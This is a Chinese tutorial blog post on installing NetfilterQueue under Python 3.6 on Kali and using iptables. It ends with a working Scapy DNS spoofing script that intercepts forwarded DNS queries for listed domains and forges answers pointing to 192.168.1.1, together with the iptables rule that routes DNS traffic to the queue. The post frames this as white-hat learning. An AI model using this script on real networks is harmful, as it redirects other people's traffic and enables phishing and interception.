0
点赞
收藏
分享

微信扫一扫

Python-netfilterqueue(白帽)[netfilterqueue怎么安装在kali中?][iptables怎么用]

承蒙不弃 2022-01-06 阅读 126

一 环境安装

前要:使用python3.6以上版本安装netfilterqueue会出现报错无法安装

1.安装python3.6

前提:本机已有python3.9,在此前提下安装python3.6
问题:中间有什么报错无法进行,一般是小问题,请自行翻译,下载解决

  1. 获取安装包:wget http://www.python.org/ftp/python/3.6.4/Python-3.6.4.tgz #如果嫌弃慢,自行打开网页自行下载,注意名字与后面命令一致
  2. 解压压缩包:tar -zxvf Python-3.6.4.tgz
  3. 配置环境:apt-get install build-essential && apt-get install libssl-dev && apt-get install zlib1g-dev && apt-get install libbz2-dev && apt-get install libreadline-dev && apt-get install libsqlite3-dev && apt-get install libncurses5-dev && apt-get install libncursesw5-dev && apt-get install libffi-dev && apt-get install liblzma-dev && apt-get install python-openssl && apt-get install tk-dev && apt-get install openssl #可以直接复制
  4. 准备编译:cd Python-3.6.4
  5. 最后阶段:./configure --prefix=/download/python3.6 && make && make install #使用这条命令提前创建好文件夹/download,因为编译好的python3.6将会放置于此

验证:在/download/python3.6/bin下输入./python3看看是否能运行python也注意查看版本号

2.安装快捷方式

ln命令解释:linux命令

  1. ln -s /download/python3.6/bin/python3.6 /usr/bin/python3.6 #请确保路径对错,主要是第一个路径,看看其是不是你的python3.6路径
  2. ln -s /download/python3.6/bin/pip3.6 /usr/bin/pip3.6 #请确保路径对错,主要是第一个路径,看看其是不是你的pip3.6路径

3.下载netfilterqueue

前要:无法通过pip下载,就自行手动下载

  1. 寻找名为NetfilterQueue-0.8.1.tar.gz的文件,官网一般都有
  2. 解压
  3. 配置环境:apt-get install libnetfilter-queue-dev && apt-get install build-essential && apt-get install python3-dev
  4. 安装:python3.6 setup.py install #前提需要cd到解压完后的目录里

二 iptables

前要:其实它就是防火墙能对自己网络中的数据进行拦截丢弃,下面只会初步简单,基于文章学习

1.结构

1.1 表

内容解释
raw高级功能例如网址过滤
mangle可修改数据包
net用于网关路由器上地址转换
filter用于防火墙包过滤(不指定表默认就是这个)

1.2 链

内容解释
INPUT链处理输入数据包
OUTPUT链处理输出数据包
FORWARD链处理转发数据包
PREROUTING链用于目标地址转换(DNAT)。
POSTOUTING链用于源地址转换(SNAT)。

常用命令:

  1. -A 追加规则-->iptables -A INPUT
  2. -D 删除规则-->iptables -D INPUT 1(编号)
  3. -R 修改规则-->iptables -R INPUT 1 -s 192.168.12.0 -j DROP 取代现行规则,顺序不变(1是位置)
  4. -I 插入规则-->iptables -I INPUT 1 --dport 80 -j ACCEPT 插入一条规则,原本位置上的规则将会往后移动一个顺位
  5. -L 查看规则-->iptables -L INPUT 列出规则链中的所有规则
  6. -N 新的规则-->iptables -N allowed 定义新的规则

常用参数:

  1. -p 协议 例:iptables -A INPUT -p tcp
  2. -s 源地址 例:iptables -A INPUT -s 192.168.1.1
  3. -d 目的地址 例:iptables -A INPUT -d 192.168.12.1
  4. -sport 源端口 例:iptables -A INPUT -p tcp --sport 22
  5. -dport 目的端口 例:iptables -A INPUT -p tcp --dport 22
  6. -i 指定入口网卡 例:iptables -A INPUT -i eth0
  7. -o 指定出口网卡 例:iptables -A FORWARD -o eth0
  8. -j 后面添加规则 例:iptables -A OUTPUT -j ACCEPT

1.3 规则

内容解释
ACCEPT允许数据包通过。
DROP直接丢弃数据包,不给任何回应信息,这时候客户端会感觉自己的请求泥牛入海了,过了超时时间才会有反应。
REJECT拒绝数据包通过,必要时会给数据发送端一个响应的信息,客户端刚请求就会收到拒绝的信息。
SNAT源地址转换,解决内网用户用同一个公网地址上网的问题。
MASQUERADE是SNAT的一种特殊形式,适用于动态的、临时会变的ip上。
DNAT目标地址转换。
REDIRECT在本机做端口映射。
LOG在/var/log/messages文件中记录日志信息,然后将数据包传递给下一条规则,也就是说除了记录以外不对数据包做任何其他操作,仍然让下一条规则去匹配。
NFQUEUE用于将数据包委托给用户态应用程序裁决如何处理数据包

2.实战

  1. 允许访问22端口:iptables -A INPUT -p tcp --dport 22 -j ACCEPT

  2. 允许向外访问:iptables -A OUTPUT -j ACCEPT

  3. 转发的dns服务提交给用户处置代号为0: iptables -I FORWARD -p udp --dport 53 -j NFQUEUE --queue-num 0

  4. 删除所有规则: iptables --flush

三.dns欺骗

前要:netfiterqueue官方文档

import netfilterqueue
from scapy.all import *
def process(p):
    sp=IP(p.get_payload())
    dns_list = ['www.ak47.com','www.m4a1.com','www.awp.com']
    if sp.haslayer(DNS) and sp.getlayer(DNS).qr == 0:
        ip = sp.getlayer(IP)
        udp = sp.getlayer(UDP)
        dns = sp.getlayer(DNS)
        dns_text=dns.qd.qname.decode()[:-1]
        if dns_text in dns_list:
            a = IP(src=ip.dst,dst=ip.src)
            a/=UDP(sport=udp.dport,dport=udp.sport)
            a/=DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname,rdata='192.168.1.1'))
            p.drop()
            send(a)
            print('ok')

    p.accept()

queue =netfilterqueue.NetfilterQueue()
queue.bind(0,process)
queue.run()

举报

相关推荐

0 条评论